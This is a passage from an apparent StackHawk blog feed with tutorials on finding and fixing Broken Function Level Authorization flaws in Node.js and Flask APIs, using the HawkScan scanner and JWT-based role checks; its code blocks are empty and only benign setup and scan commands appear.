/user/:id&lt;/b&gt; endpoint allows anyone to update user data by simply specifying a user ID in the URL. This is one simple example of a BFLA vulnerability that we will need to remediate.&lt;/p&gt;&lt;h3&gt;Detecting The Vulnerability With StackHawk and HawkScan&lt;/h3&gt;&lt;p&gt;Now that our code is set up and our API is running, let’s get StackHawk to identify this vulnerability for us automatically. To do this, you’ll need to ensure you have a StackHawk account. If you need one, you can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for a trial account&lt;/a&gt; or &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;log into an existing account.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;If you’re logging into an existing StackHawk account, from the &lt;b&gt;Applications&lt;/b&gt; page, you’ll click &lt;b&gt;Add an App&lt;/b&gt; -&amp;gt; &lt;b&gt;Create Custom App&lt;/b&gt;&lt;/p&gt;&lt;p&gt;If you’re new to StackHawk, you’ll be automatically brought into the &lt;b&gt;Add an App&lt;/b&gt; flow. On the &lt;b&gt;Scanner&lt;/b&gt; screen, you’ll see the instructions for installing the StackHawk CLI. Since we will be running our testing locally, we will use this option. Once the &lt;b&gt;hawk init&lt;/b&gt; command is executed successfully, click the &lt;b&gt;Next&lt;/b&gt; button.
&lt;/p&gt;&lt;p&gt;On the next screen, you will fill out an &lt;b&gt;Application Name&lt;/b&gt;, &lt;b&gt;Environment Name&lt;/b&gt;, and &lt;b&gt;Host&lt;/b&gt;. Feel free to copy the default values I’ve added in the screenshot below for our purposes. Once filled out, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Since we will be testing a RESTful API, on the next page, we will choose our &lt;b&gt;Application Type&lt;/b&gt; as “API”, the &lt;b&gt;API Type&lt;/b&gt; as “REST / OpenAPI”, and point to our OpenAPI Specification file by selecting &lt;b&gt;URL Path&lt;/b&gt; and adding in our endpoint, &lt;b&gt;/api-spec/&lt;/b&gt;, into the textbox. Once complete, click &lt;b&gt;Next&lt;/b&gt;.
&lt;/p&gt;&lt;p&gt;Lastly, we will need to add a &lt;b&gt;stackhawk.yml&lt;/b&gt; file to the root of our project. Once the file is added, copy the screen&amp;#39;s contents, paste it into the file, and save it. Lastly, we can click the &lt;b&gt;Finish&lt;/b&gt; button.&lt;/p&gt;&lt;h3&gt;Enabling BFLA Detection in HawkScan&lt;/h3&gt;&lt;p&gt;After creating the app in StackHawk, we need to do a few more steps to enable BFLA detection in StackHawk. Two ways to do this are using the &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy or customizing an existing policy. The &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy allows users to scan for the vulnerabilities outlined in the OWASP API Security Top 10.&lt;/p&gt;&lt;p&gt;To set HawkScan up with the &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy, you will log into StackHawk, go to the &lt;b&gt;Applications&lt;/b&gt; screen, and click on the &lt;b&gt;settings&lt;/b&gt; link for your application.
&lt;/p&gt;&lt;p&gt;Next, on the &lt;b&gt;Settings&lt;/b&gt; screen, under &lt;b&gt;HawkScan Settings&lt;/b&gt;, click the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown and select the &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy.&lt;/p&gt;&lt;p&gt;At this point, you can then run HawkScan and begin detecting potential BFLA vulnerabilities. Of course, another way to do this is to simply customize an existing policy to scan for BFLA vulnerabilities. To show how this can be done, we can navigate to the same &lt;b&gt;HawkScan Settings&lt;/b&gt; section that we looked at above. From here, we will select the &amp;quot;&lt;b&gt;OpenAPI/REST API&lt;/b&gt;&amp;quot; policy from the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown.&lt;/p&gt;&lt;p&gt;Next, click the &lt;b&gt;Edit Policy&lt;/b&gt; button right beside the dropdown.&lt;/p&gt;&lt;p&gt;On the next screen, under the &lt;b&gt;Plugins and Tests&lt;/b&gt; section, click on the &lt;b&gt;BFLA&lt;/b&gt; entry to enable HawkScan to execute tests for potential BFLA vulnerabilities.&lt;/p&gt;&lt;p&gt;Now, with our application set up in StackHawk, our stackhawk.xml has been added to the root of our API project, and BFLA detection has been enabled, we can finally test our application.&lt;/p&gt;&lt;h3&gt;Run HawkScan&lt;/h3&gt;&lt;p&gt;To test our application, in a terminal pointing to the root of our project, we will run HawkScan using the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;hawk scan&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After running the command, the tests should execute in the terminal.&lt;/p&gt;&lt;p&gt;This will run tests against our API based on the OpenAPI spec using the &lt;b&gt;OpenAPI Spider&lt;/b&gt; provided by StackHawk.&lt;/p&gt;&lt;h3&gt;Explore The Initial Findings&lt;/h3&gt;&lt;p&gt;Once the tests are complete, the terminal will contain some information about any vulnerabilities found. Below, we can see that it has identified the BFLA vulnerability that we introduced in the code. To explore this further, we will click on the test link at the bottom of the output. This will take us into the StackHawk platform to explore further.&lt;/p&gt;&lt;p&gt;After clicking on the link, we can now see the test results nicely formatted. Next, we will click on the &lt;b&gt;Possible Broken Function-Level Authorization (BFLA) &lt;/b&gt;entry.&lt;/p&gt;&lt;p&gt;Within this entry, we can see an &lt;b&gt;Overview&lt;/b&gt; and &lt;b&gt;Resources&lt;/b&gt; that can help us with fixing this vulnerability as well as the &lt;b&gt;Request&lt;/b&gt; and &lt;b&gt;Response&lt;/b&gt; that the API returned. Above this, you will also see a &lt;b&gt;Validate&lt;/b&gt; button, which will display a cURL command with the exact API request used to expose the vulnerability.&lt;/p&gt;&lt;h3&gt;Fixing The BFLA Vulnerability&lt;/h3&gt;&lt;p&gt;To fix the BFLA vulnerability in the Node.js API, you must implement authentication and authorization checks. This will ensure that users can only access the endpoints that their role permits. In this case, we will do a lookup in the database for the user, return their role, and then do the authorization check. This will be done within the `&lt;b&gt;authorizeAdmin&lt;/b&gt;` function in the code below.&lt;/p&gt;&lt;p&gt;For simplicity, I&amp;#39;ll demonstrate a basic version of these checks. In a real-world application, you&amp;#39;d likely use more robust authentication and authorization mechanisms and platforms, such as Auth0 or Okta, to control access and handle credential creation.&lt;/p&gt;&lt;p&gt;
To remedy our BFLA vulnerability, update your &lt;b&gt;app.js&lt;/b&gt; with the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The updated code above introduces several significant enhancements and changes compared to the original version, specifically focusing on security through the use of JSON Web Tokens (JWT) for authentication and authorization to eliminate the BFLA vulnerability.&lt;/p&gt;&lt;p&gt;The updated code introduces the &lt;b&gt;jsonwebtoken&lt;/b&gt; package to implement JWT-based authentication and authorization. This is a significant enhancement over the original code, which did not include any form of user authentication or authorization. To use this, you’ll also see the addition of the constant &lt;b&gt;JWT_SECRET&lt;/b&gt; defined, which is used to sign and verify JWTs. This key is essential for the security of the token-based system, ensuring that tokens are valid and issued by the server. &lt;b&gt;Of course, the key is extremely simple since it is just for demonstration purposes. In a production system, you’ll want to have a longer and more complex key that is not directly defined in the code!&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The updated code also defines a method called &lt;b&gt;authenticateJWT&lt;/b&gt;, a middleware function that checks for the presence of a JWT in the &lt;b&gt;Authorization&lt;/b&gt; header of incoming requests. It verifies the token using the &lt;b&gt;JWT_SECRET&lt;/b&gt;. If the token is missing or invalid, it sends a 401 or 403 response, effectively securing the endpoint from unauthorized access.&lt;/p&gt;&lt;p&gt;Next, the &lt;b&gt;authorizeAdmin&lt;/b&gt; middleware function is defined, which checks if the authenticated user (decoded from the JWT) is authorized to access the &lt;i&gt;admin-only&lt;/i&gt; endpoint. The comparison is made by retrieving the user&amp;#39;s role from the database, based on the &lt;b&gt;sub/ID &lt;/b&gt;field in the JWT. With the role retrieved, we then check to ensure it equals &lt;b&gt;“admin”&lt;/b&gt;. With this check in place, the &lt;b&gt;PUT&lt;/b&gt; &lt;b&gt;/users/:id&lt;/b&gt; endpoint is now protected by the &lt;b&gt;authenticateJWT&lt;/b&gt; and &lt;b&gt;authorizeAdmin&lt;/b&gt; middleware, arranged in an array. This sequential middleware arrangement ensures that every request to this endpoint is first authenticated and then authorized, a common pattern to enforce security on API endpoints.&lt;/p&gt;&lt;p&gt;Once the code has been updated on your side, you can stop the currently running server (by using &lt;b&gt;ctrl + C&lt;/b&gt; in the terminal) and restart it with the new code using:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;node app.js&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The app should now be up and running with the updated code!&lt;/p&gt;&lt;h3&gt;Confirm the fix!&lt;/h3&gt;&lt;p&gt;With the latest code, users must send a JWT along with their request in the &lt;b&gt;Authorization&lt;/b&gt; header. The code will then extract the &lt;b&gt;sub&lt;/b&gt; field, retrieve the user&amp;#39;s &lt;b&gt;role&lt;/b&gt; from the database, and then check to ensure they have the admin access needed to perform the function they are trying to do. In the JWT.io debugger, this is how such a token would look:
&lt;/p&gt;&lt;p&gt;
Now, let’s confirm the fix in StackHawk. To do this, we will click the &lt;b&gt;Rescan Findings&lt;/b&gt; button back in &lt;b&gt;StackHawk&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Then, we will see a modal containing the &lt;b&gt;“hawk rescan” &lt;/b&gt;command that includes the correct&lt;b&gt; Scan ID&lt;/b&gt;. You’ll run this command in the same terminal where you ran the initial set of tests.&lt;/p&gt;&lt;p&gt;In the output, you will again see any vulnerabilities found in the scan. In this case, you’ll see that the BFLA vulnerability is no longer showing. Clicking on the link at the bottom of the terminal output, you can confirm that the BFLA vulnerability has now been added to the &lt;b&gt;Fixed Findings from Previous Scan&lt;/b&gt;, confirming that the vulnerability has been successfully fixed and has passed any vulnerability tests.&lt;/p&gt;&lt;p&gt;With that, we’ve successfully remedied and retested our API to ensure its safety from potential BFLA attacks. Please remember that the code above is for demonstration purposes and that adding robust, production-grade authorization to an API endpoint is much more involved than we implemented above. Using an API gateway, Role-based Access Control (RBAC), and identity provider, such as Auth0, is one of the best ways to prevent BFLA and secure your APIs from unauthorized use.&lt;/p&gt;&lt;h2&gt;Why StackHawk?&lt;/h2&gt;&lt;p&gt;When it comes to preventing vulnerabilities, such as BFLA, StackHawk offers a comprehensive platform for developers to secure their applications and APIs. StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans:&lt;/b&gt; Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In this blog, we have looked deeply into the complexities of Broken Function Level Authorization (BFLA) vulnerabilities. We unpacked the essence of BFLA, revealing how it emerges from insufficient authorization checks, allowing attackers to access functions beyond their permissions. The discussion illuminated the root causes, mainly seen through the lack of validation and authorization in API requests. We looked into understanding BFLA&amp;#39;s mechanics and the significance of adopting a defense strategy encompassing strong authorization checks, RBAC, and a zero-trust approach, among other security best practices.&lt;/p&gt;&lt;p&gt;From a practical perspective, we looked at how to identify a BFLA vulnerability within a NodeJS application using StackHawk, a cutting-edge Dynamic Application Security Testing (DAST) tool designed for developers. By integrating security testing directly into the development workflow, StackHawk pinpointed the BFLA vulnerability and provided actionable insights to remediate it effectively. Through a simple example, we showcased the power of adding authentication and authorization middleware to secure API endpoints against unauthorized access, thus mitigating the BFLA threat we introduced in the original code.&lt;/p&gt;&lt;p&gt;Embracing StackHawk in your development cycle equips your team with the necessary tools and insights to tackle security vulnerabilities, including BFLA, preemptively. This approach not only enhances the security posture of your applications but also fosters a culture of security mindfulness among developers. Experience firsthand how StackHawk&amp;#39;s seamless integration and developer-centric solutions can transform your application security testing workflow, ensuring your applications are robust against common API threats outlined in the OWASP API Security Top 10. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up for a free trial&lt;/a&gt; of StackHawk today and join the ranks of proactive developers who are “shifting left” and making API security an integral part of their development process with StackHawk.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Finding and Fixing BFLA Vulnerabilities in Flask (Python) With StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/finding-and-fixing-bfla-vulnerabilities-in-flask-python-with-stackhawk</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;For developers striving to build secure APIs, Broken Function Level Authorization (BFLA) is a crucial vulnerability demanding meticulous attention. BFLA belongs to the OWASP API Security Top 10 list and can pave the way to unauthorized access and manipulation of functionality within your API, compromising the overall integrity of your system. This occurs when applications lack adequate authorization checks focused on specific functions or features. This weakness enables attackers to manipulate calls to endpoints to which they shouldn&amp;#39;t have access, potentially escalating access to functions reserved for higher privilege levels (like administrative actions).&lt;/p&gt;&lt;p&gt;Let&amp;#39;s explore BFLA in more detail, including its nature, common root causes, and how to pinpoint BFLA vulnerabilities in your API code. Following this, we&amp;#39;ll use StackHawk to scan a susceptible Flask application, locate a BFLA vulnerability in one of our endpoints, and then implement the necessary fix. Finally, we&amp;#39;ll re-scan to validate that the vulnerability has been patched. Let’s begin by digging into the foundations of BFLA vulnerabilities.&lt;/p&gt;&lt;h2&gt;What is Broken Function Level Authorization (BFLA)?&lt;/h2&gt;&lt;p&gt;Broken Function Level Authorization (BFLA) remains a significant risk to the security of APIs. This vulnerability surfaces when an API fails to implement robust controls, allowing users to access features and functions beyond their assigned permissions. Function-level authorization defines specific API actions that different user groups (or roles) can execute. For instance, a regular user of a banking app should not be able to perform administrative actions related to other user accounts. BFLA flaws emerge when these intended restrictions are weak or missing.&lt;/p&gt;&lt;p&gt;The pattern of BFLA attacks is straightforward. An attacker begins by analyzing API behavior to understand how API endpoints are named or structured. Then, they might attempt to alter HTTP methods (e.g., switch from GET to POST) or other elements in the function call requests. This is done in the hope of reaching unauthorized functionality. Weak authorization checks allow attackers to view, change, or execute commands with elevated privileges.&lt;/p&gt;&lt;h2&gt;How Does BFLA Differ from BOLA?&lt;/h2&gt;&lt;p&gt;You might encounter terms like &amp;quot;BFLA&amp;quot; and &amp;quot;BOLA&amp;quot; (Broken Object Level Authorization) in API security discussions. The overlap between these terms is significant, so understanding the subtle distinction is helpful. BOLA spotlights scenarios where an API directly exposes references or identifiers to internal objects, making them vulnerable to manipulation. &lt;b&gt;BFLA takes a broader view, focusing on any breakdown in the logic that enforces function-level authorization within an API.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;In short, BFLA is the broader category that encompasses BOLA-type issues. BFLA concerns go beyond the use of predictable IDs; they also stem from a failure to rigorously validate whether the user making a request is authorized to execute that particular API function.&lt;/p&gt;&lt;h2&gt;What is The Root Cause of BFLA?&lt;/h2&gt;&lt;p&gt;BFLA vulnerabilities typically stem from development practices that prioritize convenience over robust authorization. Here are several common contributing factors:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Oversimplification of Authorization:&lt;/b&gt; APIs that rely on basic checks without considering the full range of functions they expose are vulnerable to exploitation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Lack of Consistent Authorization:&lt;/b&gt; Inconsistent or absent authorization across various API endpoints creates potential entry points for attackers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Blind Trust in User-Supplied Data:&lt;/b&gt; All information users provide must be treated cautiously and validated, including parameters that might influence the accessed functionality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;quot;Security Through Obscurity&amp;quot;:&lt;/b&gt; Relying on hard-to-guess API paths or obscure naming conventions offers a false sense of security. Determined attackers can often bypass these.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;At its core, BFLA arises from the absence of robust and function-specific authorization controls embedded directly into the API&amp;#39;s design.&lt;/p&gt;&lt;h2&gt;Preventing Broken Function Level Authorization (BFLA) Vulnerabilities&lt;/h2&gt;&lt;p&gt;The key to avoiding BFLA vulnerabilities lies in adopting a comprehensive approach encompassing secure design, robust authorization, and continuous monitoring. Here are some best practices:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enforce Rigorous Authorization Checks:&lt;/b&gt; Validate users&amp;#39; permissions with each attempted access to an API function.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Least Privilege Principle:&lt;/b&gt; Limit user and application access to the minimum necessary functions and data required.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation:&lt;/b&gt; Carefully scrutinize all input data from users, particularly values that can influence what API functions are accessed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Security Testing:&lt;/b&gt; Automate security testing tools like StackHawk and employ penetration testing to uncover vulnerabilities like BLFA proactively.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developer Education:&lt;/b&gt; Train your development team in secure coding practices with awareness of BFLA and similar vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following these guidelines, you&amp;#39;ll significantly reduce your application&amp;#39;s risk of BFLA vulnerabilities, ensuring users can only access what they&amp;#39;re supposed to. Now, let’s put this into practice by looking at a vulnerable Flask application and using StackHawk to identify the BFLA vulnerability and help us verify that the fix we will implement successfully remediates the issue.&lt;/p&gt;&lt;h2&gt;Detecting and Fixing BFLA Vulnerabilities in Flask (Python)&lt;/h2&gt;&lt;h3&gt;Building The Vulnerable Endpoint&lt;/h3&gt;&lt;p&gt;Below is an example of a simple Flask API with a BFLA vulnerability. This API allows users to delete a user based on a user ID in the URL. However, it doesn&amp;#39;t perform any checks to ensure that the user making the request has the applicable role, being an “admin, before running the logic within the endpoint. This demonstrates a BFLA vulnerability in its simplest form, allowing an unauthorized user to perform a function they shouldn’t have access to.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Please note: This is an intentionally vulnerable API for demonstration purposes. Do not use this code in an actual application, as it is not production-ready.&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;First, create a new directory for your project and navigate into it. If you do this through a terminal, you can run the command below.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;mkdir bfla-api-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;cd bfla-api-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, with the terminal, point to the root directory and initialize a new Python project/virtual environment using the following command.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;python3 -m venv venv&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;source venv/bin/activate&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Finally, before we write any code, we will install the following dependencies:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Flask: for setting up the server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Flask_SQLAlchemy: for ORM support.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Flask_RESTx: for generating OpenAPI specs and other REST functionalities&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To do this, using the same terminal pointed to the project root, run the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;pip install Flask Flask_SQLAlchemy flask-restx&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now, we will begin to create our API application. In the root directory of the project, create a file named &lt;b&gt;app.py&lt;/b&gt;. This file will contain your Flask server and the API endpoint, including the BFLA vulnerability.&lt;/p&gt;&lt;p&gt;After creating and opening the &lt;b&gt;app.py &lt;/b&gt;file, add the following code&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s run through a quick breakdown of the updated code, which demonstrates how to create a simple web server using Flask, Flask-SQLAlchemy for database interactions, and Flask-RESTx for building REST APIs with built-in OpenAPI (Swagger) documentation. The code provides a REST API for accessing and modifying user information stored in a SQLite database configured for simplicity and demonstration purposes.&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Initialization of Flask App&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;app = Flask(__name__)&lt;/b&gt; Initializes the Flask application, setting up the basic environment for the API server.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;2. Configuration for SQLAlchemy and Database&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SQLALCHEMY_DATABASE_URI&lt;/b&gt; specifies the database connection, which is a SQLite database located at a specified path on the local filesystem.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SQLALCHEMY_TRACK_MODIFICATIONS&lt;/b&gt; sets this variable to &lt;b&gt;False&lt;/b&gt; to disable modification tracking to prevent overhead, improving performance since track modifications aren&amp;#39;t needed for this example.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;3. Database Model Definition&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;class User(db.Model)&lt;/b&gt; defines the database model for users, specifying the table name and columns (id, name, role). This model is essential for interacting with the &lt;b&gt;users&lt;/b&gt; table in the SQLite database.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;4. Inserting Example Users&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;insert_example_users()&lt;/b&gt; is a function that checks if the user table is empty and populates it with initial data. This is useful for demonstrations and ensures there is data to work with when the API is first run.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;5. API and Namespace Configuration&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;api = Api(...)&lt;/b&gt; sets up the Flask-RESTx API manager, which handles the routing and documentation of the RESTful API.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;ns = api.namespace(...)&lt;/b&gt; defines a namespace for user operations, organizing endpoints under a common path and documentation category.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;6. API Endpoint Definitions&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The &lt;b&gt;GET&lt;/b&gt; Endpoint, defined within &lt;b&gt;UserResource&lt;/b&gt;, allows clients to fetch user data by ID. It uses a parameterized SQL query to retrieve data securely, preventing SQL injection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The &lt;b&gt;PUT&lt;/b&gt; Endpoint, also defined within &lt;b&gt;UserResource&lt;/b&gt;, allows for updating user data by ID. This method similarly uses parameterized SQL queries for secure database interactions. The &lt;b&gt;include=False&lt;/b&gt; parameter in the &lt;b&gt;@ns.doc&lt;/b&gt; decorator means that the endpoint will be excluded from automatic API documentation generation, since it is considered a private API for the purposes of this example.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;7. OpenAPI Specification Endpoint&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;@app.route(&amp;#39;/api-spec/&amp;#39;) &lt;/b&gt;serves the generated OpenAPI (Swagger) specification, which provides a machine-readable description of the available API endpoints. The function also manually removes documentation for the PUT method, aligning with its intended restricted access.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;8. Server Initialization&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The&lt;b&gt; if __name__ == &amp;#39;__main__&amp;#39; &lt;/b&gt;block includes commands to initialize the database tables, insert example data, and start the Flask development server on port 4000. This makes the API accessible to clients and ensures that the server starts with the necessary setup completed.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;After this code is running, we will have an example Flask app with a SQLite backend for handling simple user data operations. This example shows how to create a basic REST API and how to selectively document API endpoints using OpenAPI specifications, hiding methods from the spec that shouldn’t be publicly available. That being said, there still is a gap regarding the actual authorization of the PUT endpoint meaning that anyone can access the function, and this is where the BFLA vulnerability exists.&lt;/p&gt;&lt;h3&gt;Running The Code&lt;/h3&gt;&lt;p&gt;Now that our code is complete, it’s time to run the application and bring up our API.  To run your API, run the following command in a terminal pointed to the root of your project with your virtual environment still active:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;flask run -p 4000&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Once the application is up and running, you’ll notice that the &lt;b&gt;PUT /user/:id&lt;/b&gt; endpoint allows anyone to update user data by specifying a user ID in the URL. This is a straightforward example of a BFLA vulnerability we must remediate.&lt;/p&gt;&lt;p&gt;To demonstrate this, we can issue the following cURL command and see that it works, updating the user without any type of authentication or authorization.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Detecting The Vulnerability With StackHawk and HawkScan&lt;/h3&gt;&lt;p&gt;Now that our code is set up and our API is running, let’s get StackHawk to identify this vulnerability automatically. To do this, you’ll need to ensure you have a StackHawk account. If you need one, you can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for a trial account&lt;/a&gt; or &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;log into an existing account.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;If you’re logging into an existing StackHawk account, from the &lt;b&gt;Applications&lt;/b&gt; page, you’ll click &lt;b&gt;Add an App&lt;/b&gt; -&amp;gt; &lt;b&gt;Create Custom App.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;If you’re new to StackHawk, you’ll be automatically brought into the &lt;b&gt;Add an App&lt;/b&gt; flow. On the &lt;b&gt;Scanner&lt;/b&gt; screen, you’ll see the instructions for installing the StackHawk CLI. Since we will be running our testing locally, we will use this option. Once the &lt;b&gt;hawk init&lt;/b&gt; command is executed successfully, click the &lt;b&gt;Next&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;On the next screen, you will fill out an &lt;b&gt;Application Name&lt;/b&gt;, &lt;b&gt;Environment Name&lt;/b&gt;, and &lt;b&gt;Host&lt;/b&gt;. Feel free to copy the default values I’ve added in the screenshot below for our purposes. Once filled out, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Since we will be testing a RESTful API, on the next page, we will choose our &lt;b&gt;Application Type&lt;/b&gt; as “API”, the &lt;b&gt;API Type&lt;/b&gt; as “REST / OpenAPI”, and point to our OpenAPI Specification file by selecting &lt;b&gt;URL Path&lt;/b&gt; and adding in our endpoint, &lt;b&gt;/api-spec/&lt;/b&gt;, into the textbox. Once complete, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Lastly, we will need to add a &lt;b&gt;stackhawk.yml&lt;/b&gt; file to the root of our project. Once the file is added, copy the screen&amp;#39;s contents, paste it into the file, and save it. Lastly, we can click the &lt;b&gt;Finish&lt;/b&gt; button.&lt;/p&gt;&lt;h3&gt;Enabling BFLA Detection in HawkScan&lt;/h3&gt;&lt;p&gt;After creating the app in StackHawk, we need to do a few more steps to enable BFLA detection in StackHawk. Two ways to do this are using the &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy or customizing an existing policy. The &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy allows users to scan for the vulnerabilities outlined in the OWASP API Security Top 10.&lt;/p&gt;&lt;p&gt;To set HawkScan up with the &amp;quot;&lt;b&gt;OpenAPI - Experimental&lt;/b&gt;&amp;quot; policy, you will log into StackHawk, go to the &lt;b&gt;Applications&lt;/b&gt; screen, and click on the &lt;b&gt;settings&lt;/b&gt; link for your application.&lt;/p&gt;&lt;p&gt;Next, on the &lt;b&gt;Settings&lt;/b&gt; screen, under 